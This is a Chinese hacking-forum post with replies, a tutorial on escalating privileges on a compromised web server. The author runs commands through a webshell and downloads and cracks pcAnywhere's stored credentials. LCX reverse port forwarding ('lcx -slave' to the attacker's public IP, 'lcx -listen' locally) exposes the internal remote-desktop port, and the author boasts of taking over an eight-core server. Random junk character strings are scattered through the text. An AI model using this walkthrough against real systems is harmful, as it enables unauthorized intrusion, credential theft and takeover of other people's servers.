[原创文章] pcanywhere之内网提权 pcanywhere

huar

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。
) f& W+ T5 h1 q# `: d: B! R
: B, D1 z. P' ^0 s) m8 Q* S: [( {提权方法：pcanywhere+LCX$ Q! B6 q. Y! H

* b" o- y* A( ^9 e/ g获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。. A$ u" O1 w5 b( s

5 {9 x0 j( F9 C0 s在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。
" H) k6 I! q( n) x/ n1 h  N$ f, n
9 y' ]- W: s% R7 `9 `0 E/ X6 a- ~/ c8 g& F4 m" N- e0 V
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。
% t4 p. x" D1 Y8 q5 M; _
/ T% t( j( e+ e/ q- x( g
/ v9 a' X% A. e) g* K呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
' e! ]9 k9 A% j; Q4 I, }# b9 |0 R, I) l! n

% D: J% y+ o" {. C
, w( a4 ]  g% M' {3 A# s8 J7 i, @' M- a# \
由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
1 c+ ?: J& ~/ l! ?. W2 C( W4 G( P8 e1 e  v! a) b3 R% n# J/ e' {$ P
" V0 [; U9 v4 U2 g5 g& g
LCX的用法再简单说下：, n" }& @1 B/ H% W! k& i
: v" G; {6 O) h
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）; d+ _7 `6 V* P9 L
9 s  B" F1 C, i. M  r5 f
本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
# e+ ?5 k" w2 `* E) V! f2 X
5 W1 k( r$ o, }, a8 `" J由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。* d  B3 ~- c. H6 A. U' l8 ?# h
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``% Y( o+ s4 m5 y$ Q* q( @; ?( k
7 [- c7 t5 b0 p" p- L
# s9 H% M' \5 Y7 G) H
" p1 j% \  U* E
3 n4 ]! O; o# v( n# `$ T$ x& Z$ i+ C
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
$ q7 a! g% {7 c: ^: M5 H
3 d/ f, D, G( O% Y$ |* s
8 V! T: G" @& n7 W6 ^0 t# Q; m. m" W5 k5 @7 r
! u( W  ?% ]) `) g
我们本地连接试试，输入我们刚破解的账号密码
, H, {: Z% n0 D! ^. H
; i. x' n) J6 p/ }, I
$ I2 G0 l' Q! r0 j呵呵``连接成功,服务器不错，又一个8核^︵^
0 r5 }5 R# G! S9 R* N! U! u* p& m; Q% o( y
" E" C% L% E% X( ?7 i1 v7 ?

0 a7 O7 K* k8 R& m3 u. m& B% c% I

killadmin

但是我反弹后连接总是不成功,试着转发5632,5631一起,还是不行.

柔肠寸断

顶起。。。。。。。。。

gassiori

八核的哟

huar

哎。。。。运气不佳```老碰见内网的。。。。

柔肠寸断

不错不错。。。你的貌似一直都是内网服务器哈